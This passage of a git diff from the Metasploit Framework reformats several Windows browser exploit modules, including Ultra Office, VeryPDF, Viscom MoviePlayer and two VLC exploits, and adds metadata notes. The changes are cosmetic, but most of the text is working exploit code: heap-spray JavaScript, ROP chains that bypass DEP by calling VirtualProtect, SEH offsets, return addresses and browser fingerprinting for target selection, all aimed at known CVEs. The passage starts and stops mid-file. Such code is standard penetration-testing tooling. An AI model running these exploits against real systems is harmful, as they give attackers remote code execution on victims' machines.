"\x00", + 'Payload' => { + 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, - 'DefaultOptions' => - { - 'EXITFUNC' => "seh", + 'DefaultOptions' => { + 'EXITFUNC' => "seh", 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ], [ 'IE 7 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ], - [ 'IE 7 on Windows Vista', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ] + [ 'IE 7 on Windows Vista', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ] ], - 'Privileged' => false, - 'DisclosureDate' => '2012-03-28', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2012-03-28', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def get_target(agent) - #If the user is already specified by the user, we'll just use that + # If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ - return targets[1] #IE 6 on Windows XP SP3 + return targets[1] # IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ - return targets[2] #IE 7 on Windows XP SP3 + return targets[2] # IE 7 on Windows XP SP3 elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ - return targets[3] #IE 7 on Windows Vista + return targets[3] # IE 7 on Windows Vista else return nil end @@ -84,7 +88,7 @@ def on_request_uri(cli, request) p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) - js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(target.arch)) randnop = rand_text_alpha(rand(100) + 1) # Convert the pivot addr (in decimal format) to binary, @@ -92,7 +96,7 @@ def on_request_uri(cli, request) # \x41\x41\x41\x41 t = [my_target.ret].pack("V").unpack("H*")[0] target_ret = '' - 0.step(t.length-1, 2) do |i| + 0.step(t.length - 1, 2) do |i| target_ret << "\\x#{t[i, 2]}" end @@ -122,7 +126,7 @@ def on_request_uri(cli, request) obj.OpenFileDlg(ret); JS - js = heaplib(js, {:noobfu => true}) + js = heaplib(js, { :noobfu => true }) html = <<-EOS @@ -140,8 +144,7 @@ def on_request_uri(cli, request) EOS print_status("Sending html") - send_response(cli, html, {'Content-Type'=>'text/html'}) - + send_response(cli, html, { 'Content-Type' => 'text/html' }) end end diff --git a/modules/exploits/windows/browser/ultraoffice_httpupload.rb b/modules/exploits/windows/browser/ultraoffice_httpupload.rb index cab8269adc5db..994c10db4f426 100644 --- a/modules/exploits/windows/browser/ultraoffice_httpupload.rb +++ b/modules/exploits/windows/browser/ultraoffice_httpupload.rb @@ -10,48 +10,55 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Seh def initialize(info = {}) - super(update_info(info, - 'Name' => 'Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow', + 'Description' => %q{ This module exploits a stack-based buffer overflow in Ultra Shareware's Office - Control. When processing the 'HttpUpload' method, the arguments are concatenated - together to form a command line to run a bundled version of cURL. If the command - fails to run, a stack-based buffer overflow occurs when building the error - message. This is due to the use of sprintf() without proper bounds checking. - - NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload - into memory unmodified. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'shinnai', 'jduck' ], - 'References' => - [ + Control. When processing the 'HttpUpload' method, the arguments are concatenated + together to form a command line to run a bundled version of cURL. If the command + fails to run, a stack-based buffer overflow occurs when building the error + message. This is due to the use of sprintf() without proper bounds checking. + + NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload + into memory unmodified. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'shinnai', 'jduck' ], + 'References' => [ [ 'CVE', '2008-3878' ], [ 'OSVDB', '47866' ], [ 'BID', '30861' ], [ 'EDB', '6318' ] ], - 'Payload' => - { - 'Space' => 4096, + 'Payload' => { + 'Space' => 4096, 'BadChars' => "\x00", # For HttpUpload args: "\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f", 'DisableNops' => true }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ # Tested with ActiveX v2.0.0.1020 and v2.0.2008.801 - [ 'Windows Universal', + [ + 'Windows Universal', { - 'Ret' => 0x0c0c0c0c # heap sprayed + 'Ret' => 0x0c0c0c0c # heap sprayed # 0x746C15A9 # p/p/r in msls31.dll # EEK, Safe SEH! 0x220118c2 # p/p/r in OfficeCtrl.ocx } ], ], - 'DefaultTarget' => 0, - 'DisclosureDate' => '2008-08-27')) + 'DefaultTarget' => 0, + 'DisclosureDate' => '2008-08-27', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -63,13 +70,12 @@ def check_dependencies end def on_request_uri(cli, request) - # ActiveX parameters progid = "Ultra.OfficeControl" clsid = "00989888-BB72-4E31-A7C6-5F819C24D2F7" # Set parameters - fnname = rand_text_alpha(8+rand(8)) + fnname = rand_text_alpha(8 + rand(8)) arg1 = rand_text_alphanumeric(128) arg2 = rand_text_alphanumeric(4096) * 10 seh_offset = 252 @@ -108,7 +114,7 @@ def on_request_uri(cli, request) opts = { 'Strings' => true, 'Symbols' => { - 'Variables' => %w{ obj my_unescape shellcode arg1 arg2 sploit } + 'Variables' => %w{obj my_unescape shellcode arg1 arg2 sploit} } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) @@ -132,6 +138,5 @@ def on_request_uri(cli, request) send_response_html(cli, content) handler(cli) - end end diff --git a/modules/exploits/windows/browser/verypdf_pdfview.rb b/modules/exploits/windows/browser/verypdf_pdfview.rb index ff23570b782aa..14852bc86c222 100644 --- a/modules/exploits/windows/browser/verypdf_pdfview.rb +++ b/modules/exploits/windows/browser/verypdf_pdfview.rb @@ -9,38 +9,43 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow', + 'Description' => %q{ The VeryPDF PDFView ActiveX control is prone to a heap buffer-overflow - because it fails to properly bounds-check user-supplied data before copying - it into an insufficiently sized memory buffer. An attacker can exploit this issue - to execute arbitrary code within the context of the affected application. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC', 'dean ' ], - 'References' => - [ + because it fails to properly bounds-check user-supplied data before copying + it into an insufficiently sized memory buffer. An attacker can exploit this issue + to execute arbitrary code within the context of the affected application. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC', 'dean ' ], + 'References' => [ [ 'CVE', '2008-5492'], [ 'OSVDB', '49871'], - [ 'BID','32313' ], + [ 'BID', '32313' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00", }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0c0c0c0c } ] ], - 'DisclosureDate' => '2008-06-16', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2008-06-16', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -59,22 +64,22 @@ def on_request_uri(cli, request) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Create some nops. - nops = Rex::Text.to_unescape(make_nops(4)) + nops = Rex::Text.to_unescape(make_nops(4)) # Set the return. - ret = Rex::Text.uri_encode([target.ret].pack('L')) + ret = Rex::Text.uri_encode([target.ret].pack('L')) # Randomize the javascript variable names. - vname = rand_text_alpha(rand(100) + 1) - var_i = rand_text_alpha(rand(30) + 2) - rand1 = rand_text_alpha(rand(100) + 1) - rand2 = rand_text_alpha(rand(100) + 1) - rand3 = rand_text_alpha(rand(100) + 1) - rand4 = rand_text_alpha(rand(100) + 1) - rand5 = rand_text_alpha(rand(100) + 1) - rand6 = rand_text_alpha(rand(100) + 1) - rand7 = rand_text_alpha(rand(100) + 1) - rand8 = rand_text_alpha(rand(100) + 1) + vname = rand_text_alpha(rand(100) + 1) + var_i = rand_text_alpha(rand(30) + 2) + rand1 = rand_text_alpha(rand(100) + 1) + rand2 = rand_text_alpha(rand(100) + 1) + rand3 = rand_text_alpha(rand(100) + 1) + rand4 = rand_text_alpha(rand(100) + 1) + rand5 = rand_text_alpha(rand(100) + 1) + rand6 = rand_text_alpha(rand(100) + 1) + rand7 = rand_text_alpha(rand(100) + 1) + rand8 = rand_text_alpha(rand(100) + 1) content = %Q| diff --git a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb index 83e872f32dbf1..5c111a3502042 100644 --- a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb +++ b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb @@ -9,54 +9,59 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Viscom Software Movie Player Pro SDK ActiveX 6.8', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Viscom Software Movie Player Pro SDK ActiveX 6.8', + 'Description' => %q{ Stack-based buffer overflow in the MOVIEPLAYER.MoviePlayerCtrl.1 ActiveX control - in MoviePlayer.ocx 6.8.0.0 in Viscom Software Movie Player Pro SDK ActiveX 6.8 allows - remote attackers to execute arbitrary code via a long strFontName parameter to the - DrawText method. - - The victim will first be required to trust the publisher Viscom Software. - This module has been designed to bypass DEP and ASLR under XP IE8, Vista and Win7 - with Java support. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + in MoviePlayer.ocx 6.8.0.0 in Viscom Software Movie Player Pro SDK ActiveX 6.8 allows + remote attackers to execute arbitrary code via a long strFontName parameter to the + DrawText method. + + The victim will first be required to trust the publisher Viscom Software. + This module has been designed to bypass DEP and ASLR under XP IE8, Vista and Win7 + with Java support. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'shinnai', # Vulnerability discovery and original exploit - 'TecR0c ', # Metasploit module + 'TecR0c ', # Metasploit module 'mr_me ' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2010-0356' ], [ 'OSVDB', '61634' ], [ 'EDB', '12320' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => false, 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Payload' => - { - 'Space' => 1024, + 'Payload' => { + 'Space' => 1024, 'BadChars' => "\x00" }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ], [ 'Windows IE6-7', {} ], [ 'Windows IE8 + JAVA 6 (DEP & ASLR BYPASS)', {} ] ], - 'DisclosureDate' => '2010-01-12', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2010-01-12', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( - [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]) ]) + [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]) ] + ) end # Prevent module from being executed in autopwn @@ -68,12 +73,11 @@ def check_dependencies use_zlib end - def junk(n=4) + def junk(n = 4) return rand_text_alpha(n).unpack("L")[0].to_i end def on_request_uri(cli, request) - # Set target manually or automatically my_target = target if my_target.name == 'Automatic' @@ -100,43 +104,43 @@ def on_request_uri(cli, request) if my_target.name =~ /IE8/ pivot_rop = - [ # Pivot to get to ROP Chain - 0x10015201, # POP EBP # RETN 08 [MOVIEP~1.OCX] - pivot_addr, - 0x10014361, # MOV ESP,EBP # POP EBP # RETN 08 ** [MOVIEP~1.OCX] - junk, # ---------------------^ - junk, # ----------------------^ - junk, # ----------------------^ - junk, # -------------------------------------^ - junk, # -------------------------------------^ - 0x1001c049, # RETN (ROP NOP) [MOVIEP~1.OCX] - ].pack("V*") + [ # Pivot to get to ROP Chain + 0x10015201, # POP EBP # RETN 08 [MOVIEP~1.OCX] + pivot_addr, + 0x10014361, # MOV ESP,EBP # POP EBP # RETN 08 ** [MOVIEP~1.OCX] + junk, # ---------------------^ + junk, # ----------------------^ + junk, # ----------------------^ + junk, # -------------------------------------^ + junk, # -------------------------------------^ + 0x1001c049, # RETN (ROP NOP) [MOVIEP~1.OCX] + ].pack("V*") sploit << pivot_rop code = [0x7C347F98].pack("V") * 4 # RETN (ROP NOP) [MSVCR71.dll] code << - [ # MSVCR71.dll - rop chain generated with mona.py - 0x7C37653D, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN - 0xFFFFFDFF, # Value to negate, will become 0x00000201 (dwSize) - 0x7C347F98, # RETN (ROP NOP) - 0x7C3415A2, # JMP [EAX] - 0xFFFFFFFF, # - 0x7C376402, # Skip 4 bytes - 0x7C351E05, # NEG EAX # RETN - 0x7C345255, # INC EBX # FPATAN # RETN - 0x7C352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN - 0x7C344F87, # POP EDX # RETN - 0xFFFFFFC0, # Value to negate, will become 0x00000040 - 0x7C351EB1, # NEG EDX # RETN - 0x7C34D201, # POP ECX # RETN - 0x7C38B001, # &Writable location - 0x7C347F97, # POP EAX # RETN - 0x7C37A151, # Ptr to &VirtualProtect() - 0x0EF - 0x7C378C81, # PUSHAD # ADD AL,0EF # RETN - 0x7C345C30, # Ptr to 'push esp' # ret - ].pack("V*") + [ # MSVCR71.dll - rop chain generated with mona.py + 0x7C37653D, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN + 0xFFFFFDFF, # Value to negate, will become 0x00000201 (dwSize) + 0x7C347F98, # RETN (ROP NOP) + 0x7C3415A2, # JMP [EAX] + 0xFFFFFFFF, # + 0x7C376402, # Skip 4 bytes + 0x7C351E05, # NEG EAX # RETN + 0x7C345255, # INC EBX # FPATAN # RETN + 0x7C352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN + 0x7C344F87, # POP EDX # RETN + 0xFFFFFFC0, # Value to negate, will become 0x00000040 + 0x7C351EB1, # NEG EDX # RETN + 0x7C34D201, # POP ECX # RETN + 0x7C38B001, # &Writable location + 0x7C347F97, # POP EAX # RETN + 0x7C37A151, # Ptr to &VirtualProtect() - 0x0EF + 0x7C378C81, # PUSHAD # ADD AL,0EF # RETN + 0x7C345C30, # Ptr to 'push esp' # ret + ].pack("V*") code << payload.encoded else @@ -147,7 +151,7 @@ def on_request_uri(cli, request) # Payload in JS format code = Rex::Text.to_unescape(code) randnop = rand_text_alpha(rand(100) + 1) - js_nops = Rex::Text.to_unescape("\x0c"*4) + js_nops = Rex::Text.to_unescape("\x0c" * 4) spray = <<-JS var heap_lib = new heapLib.ie(0x20000); diff --git a/modules/exploits/windows/browser/vlc_amv.rb b/modules/exploits/windows/browser/vlc_amv.rb index 3414754b4ffa0..5a09e611bdd0f 100644 --- a/modules/exploits/windows/browser/vlc_amv.rb +++ b/modules/exploits/windows/browser/vlc_amv.rb @@ -9,65 +9,70 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb - def initialize(info={}) - super(update_info(info, - 'Name' => "VLC AMV Dangling Pointer Vulnerability", - 'Description' => %q{ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "VLC AMV Dangling Pointer Vulnerability", + 'Description' => %q{ This module exploits VLC media player when handling a .AMV file. By flipping - the 0x41st byte in the file format (video width/height), VLC crashes due to an - invalid pointer, which allows remote attackers to gain arbitrary code execution. - The vulnerable packages include: VLC 1.1.4, VLC 1.1.5, VLC 1.1.6, VLC 1.1.7. Also, - please note that IE 8 targets require Java support in order to run properly. + the 0x41st byte in the file format (video width/height), VLC crashes due to an + invalid pointer, which allows remote attackers to gain arbitrary code execution. + The vulnerable packages include: VLC 1.1.4, VLC 1.1.5, VLC 1.1.6, VLC 1.1.7. Also, + please note that IE 8 targets require Java support in order to run properly. }, - 'License' => MSF_LICENSE, - 'Author' => - [ + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r', ], - 'References' => - [ + 'References' => [ ['CVE', '2010-3275'], ['OSVDB', '71277'], ['URL', 'http://www.coresecurity.com/content/vlc-vulnerabilities-amv-nsv-files'], # Fix commit diff - ['URL', 'http://git.videolan.org/?p=vlc/vlc-1.1.git;a=commitdiff;h=fe44129dc6509b3347113ab0e1a0524af1e0dd11'] + ['URL', 'http://web.archive.org/web/20130610070348/http://git.videolan.org/?p=vlc/vlc-1.1.git;a=commitdiff;h=fe44129dc6509b3347113ab0e1a0524af1e0dd11'] ], - 'Payload' => - { - 'BadChars' => "\x00", - 'space' => 1024, - #Fix the stack before the decoder so we can decode properly - #SUB SP, 0X100; POPAD; POPFD - 'PrependEncoder' => "\x66\x81\xec\x01\x01\x61", - #Fix the stack again so the payload runs properly - #ADD SP,0x61 - 'Prepend' => "\x66\x83\xc4\x61", + 'Payload' => { + 'BadChars' => "\x00", + 'space' => 1024, + # Fix the stack before the decoder so we can decode properly + # SUB SP, 0X100; POPAD; POPFD + 'PrependEncoder' => "\x66\x81\xec\x01\x01\x61", + # Fix the stack again so the payload runs properly + # ADD SP,0x61 + 'Prepend' => "\x66\x83\xc4\x61", }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => "process", 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ], [ 'Internet Explorer 6 on XP SP3', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ], [ 'Internet Explorer 7 on XP SP3', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ], - [ 'Internet Explorer 8 on XP SP3', { 'Rop' => true, 'TargetAddr' => 0x77025024 } ], - [ 'Internet Explorer 7 on Vista', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ] + [ 'Internet Explorer 8 on XP SP3', { 'Rop' => true, 'TargetAddr' => 0x77025024 } ], + [ 'Internet Explorer 7 on Vista', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ] ], - 'DisclosureDate' => '2011-03-23', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2011-03-23', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) - ]) + ] + ) end def get_target(cli, request) - #Default target + # Default target my_target = target vprint_status("User-Agent: #{request.headers['User-Agent']}") @@ -75,25 +80,25 @@ def get_target(cli, request) if target.name == 'Automatic' agent = request.headers['User-Agent'] if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ - #Windows XP + IE 6 + # Windows XP + IE 6 my_target = targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ - #Windows XP + 7.0 + # Windows XP + 7.0 my_target = targets[2] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ - #Windows XP + IE 8.0 + # Windows XP + IE 8.0 my_target = targets[3] elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/ - #Windows Vista + IE 7.0. Win Server 2008 is also NT 6.0 + # Windows Vista + IE 7.0. Win Server 2008 is also NT 6.0 my_target = targets[4] elsif agent =~ /^vlc/ - #VLC identifies itself as "VLC" when requesting our trigger file + # VLC identifies itself as "VLC" when requesting our trigger file return 'VLC' elsif agent =~ /^NSPlayer/ - #NSPlayer is also used while requesting the trigger file + # NSPlayer is also used while requesting the trigger file return 'VLC' else - #If we don't recognize the client, we don't fire the exploit + # If we don't recognize the client, we don't fire the exploit my_target = nil end end @@ -102,20 +107,20 @@ def get_target(cli, request) end def exploit - #Load trigger file + # Load trigger file path = File.join(Msf::Config.data_directory, "exploits", "CVE-2010-3275.amv") f = File.open(path, "rb") @trigger = f.read f.close - #Set trigger file name + # Set trigger file name @filename = rand_text_alpha(rand(6) + 3) super end def on_request_uri(cli, request) - #Pick the right target + # Pick the right target my_target = get_target(cli, request) if my_target.nil? vprint_error("Target not supported") @@ -125,43 +130,43 @@ def on_request_uri(cli, request) vprint_status("URL: #{request.uri.to_s}") - #Send the trigger file upon request + # Send the trigger file upon request if request.uri.match(/\.amv/) print_status("Sending trigger file") - send_response(cli, @trigger, { 'Content-Type' => 'text/plain' } ) + send_response(cli, @trigger, { 'Content-Type' => 'text/plain' }) return end - #ARCH used by the victim machine + # ARCH used by the victim machine arch = Rex::Arch.endian(my_target.arch) - #Generate our payload + # Generate our payload if my_target['Rop'] - #IE 8 targets + # IE 8 targets code = generate_rop_payload('java', payload.encoded) - #Align and 'jump' to our final payload at 0x0c0c0c0c + # Align and 'jump' to our final payload at 0x0c0c0c0c ini_stage = [ 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x0c0c0c0c, # Address of the payload 0x7C348B05, # XCHG EAX,ESP # RETN (MSVCR71.dll) ].pack('V*') - #Add padding to line up the pivot correctly - ini_stage << rand_text_alpha(128-ini_stage.length) + # Add padding to line up the pivot correctly + ini_stage << rand_text_alpha(128 - ini_stage.length) nops = Rex::Text.to_unescape(rand_text_alpha(4), arch) code = Rex::Text.to_unescape(code, arch) pivot = Rex::Text.to_unescape(ini_stage + [my_target['TargetAddr']].pack('V*'), arch) else - #Non IE 8 targets + # Non IE 8 targets nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch) code = Rex::Text.to_unescape(payload.encoded, arch) - pivot = Rex::Text.to_unescape([my_target['TargetAddr']].pack('V*'), arch) + pivot = Rex::Text.to_unescape([my_target['TargetAddr']].pack('V*'), arch) end randnop = rand_text_alpha(rand(100) + 1) - #First spray overwrites 0x0c0c0c0c with our payload + # First spray overwrites 0x0c0c0c0c with our payload spray_1 = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{code}"); @@ -182,8 +187,8 @@ def on_request_uri(cli, request) } JS - #An invalid pointer gets passed on to libdirectx_plugin!vlc_entry_license__1_1_0g, - #which requires us to fill up the memory as high as 0x303234ca + # An invalid pointer gets passed on to libdirectx_plugin!vlc_entry_license__1_1_0g, + # which requires us to fill up the memory as high as 0x303234ca spray_2 = <<-JS var padding = unescape(#{randnop}); var pivot = unescape("#{pivot}"); @@ -200,16 +205,16 @@ def on_request_uri(cli, request) } JS - #Use heaplib + # Use heaplib js = heaplib(spray_1 + spray_2) - #obfuscate on demand + # obfuscate on demand if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate(memory_sensitive: true) end - #Value for the 'Src' parameter of our ActiveX control + # Value for the 'Src' parameter of our ActiveX control trigger_file = get_resource() + "/" + @filename + ".amv" html = <<-EOS @@ -233,10 +238,10 @@ def on_request_uri(cli, request) EOS - #Remove extra tabs in HTML + # Remove extra tabs in HTML html = html.gsub(/^ {4}/, "") print_status("Sending #{self.name}") - send_response( cli, html, {'Content-Type' => 'text/html'} ) + send_response(cli, html, { 'Content-Type' => 'text/html' }) end end diff --git a/modules/exploits/windows/browser/vlc_mms_bof.rb b/modules/exploits/windows/browser/vlc_mms_bof.rb index a4ac29b4c5052..f93942ccb8de6 100644 --- a/modules/exploits/windows/browser/vlc_mms_bof.rb +++ b/modules/exploits/windows/browser/vlc_mms_bof.rb @@ -8,48 +8,45 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML - def initialize(info={}) - super(update_info(info, - 'Name' => "VLC MMS Stream Handling Buffer Overflow", - 'Description' => %q{ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "VLC MMS Stream Handling Buffer Overflow", + 'Description' => %q{ This module exploits a buffer overflow in VLC media player VLC media player prior - to 2.0.0. The vulnerability is due to a dangerous use of sprintf which can result - in a stack buffer overflow when handling a malicious MMS URI. - - This module uses the browser as attack vector. A specially crafted MMS URI is - used to trigger the overflow and get flow control through SEH overwrite. Control - is transferred to code located in the heap through a standard heap spray. - - The module only targets IE6 and IE7 because no DEP/ASLR bypass has been provided. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + to 2.0.0. The vulnerability is due to a dangerous use of sprintf which can result + in a stack buffer overflow when handling a malicious MMS URI. + + This module uses the browser as attack vector. A specially crafted MMS URI is + used to trigger the overflow and get flow control through SEH overwrite. Control + is transferred to code located in the heap through a standard heap spray. + + The module only targets IE6 and IE7 because no DEP/ASLR bypass has been provided. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Florent Hochwelker', # aka TaPiOn, Vulnerability discovery 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], - 'References' => - [ + 'References' => [ ['CVE', '2012-1775'], ['OSVDB', '80188'], ['URL', 'http://www.videolan.org/security/sa1201.html'], # Fix commit diff - ['URL', 'http://git.videolan.org/?p=vlc/vlc-2.0.git;a=commit;h=11a95cce96fffdbaba1be6034d7b42721667821c'] + ['URL', 'http://web.archive.org/web/20130612051447/http://git.videolan.org/?p=vlc/vlc-2.0.git;a=commit;h=11a95cce96fffdbaba1be6034d7b42721667821c'] ], - 'Payload' => - { - 'BadChars' => "\x00", - 'Space' => 1000, + 'Payload' => { + 'BadChars' => "\x00", + 'Space' => 1000, }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => "process", 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ # Tested with VLC 2.0.0 [ 'Automatic', {} ], [ @@ -77,17 +74,25 @@ def initialize(info={}) } ] ], - 'DisclosureDate' => '2012-03-15', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2012-03-15', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) - ]) + ] + ) end def get_target(cli, request) - #Default target + # Default target my_target = target vprint_status("User-Agent: #{request.headers['User-Agent']}") @@ -95,13 +100,13 @@ def get_target(cli, request) if target.name == 'Automatic' agent = request.headers['User-Agent'] if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ - #Windows XP + IE 6 + # Windows XP + IE 6 my_target = targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ - #Windows XP + 7.0 + # Windows XP + 7.0 my_target = targets[2] else - #If we don't recognize the client, we don't fire the exploit + # If we don't recognize the client, we don't fire the exploit my_target = nil end end @@ -110,7 +115,7 @@ def get_target(cli, request) end def on_request_uri(cli, request) - #Pick the right target + # Pick the right target my_target = get_target(cli, request) if my_target.nil? vprint_error("Target not supported") @@ -120,7 +125,7 @@ def on_request_uri(cli, request) vprint_status("URL: #{request.uri.to_s}") - #ARCH used by the victim machine + # ARCH used by the victim machine arch = Rex::Arch.endian(my_target.arch) nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch) code = Rex::Text.to_unescape(payload.encoded, arch) @@ -146,16 +151,15 @@ def on_request_uri(cli, request) } JS - #Use heaplib + # Use heaplib js_spray = heaplib(spray) - #obfuscate on demand + # obfuscate on demand if datastore['OBFUSCATE'] js_spray = ::Rex::Exploitation::JSObfu.new(js_spray) js_spray.obfuscate(memory_sensitive: true) end - src_ip = Rex::Socket.source_address.split('.') hex_ip = src_ip.map { |h| [h.to_i].pack('C*')[0].unpack('H*')[0] }.join # Try to maximize success on IE7 platform: @@ -203,10 +207,10 @@ def on_request_uri(cli, request) EOS - #Remove extra tabs in HTML + # Remove extra tabs in HTML html = html.gsub(/^ {4}/, "") print_status("Sending malicious page") - send_response( cli, html, {'Content-Type' => 'text/html'} ) + send_response(cli, html, { 'Content-Type' => 'text/html' }) end end diff --git a/modules/exploits/windows/browser/webdav_dll_hijacker.rb b/modules/exploits/windows/browser/webdav_dll_hijacker.rb index dc1ad4df37351..5a07f1f8dcd0a 100644 --- a/modules/exploits/windows/browser/webdav_dll_hijacker.rb +++ b/modules/exploits/windows/browser/webdav_dll_hijacker.rb @@ -13,56 +13,59 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE def 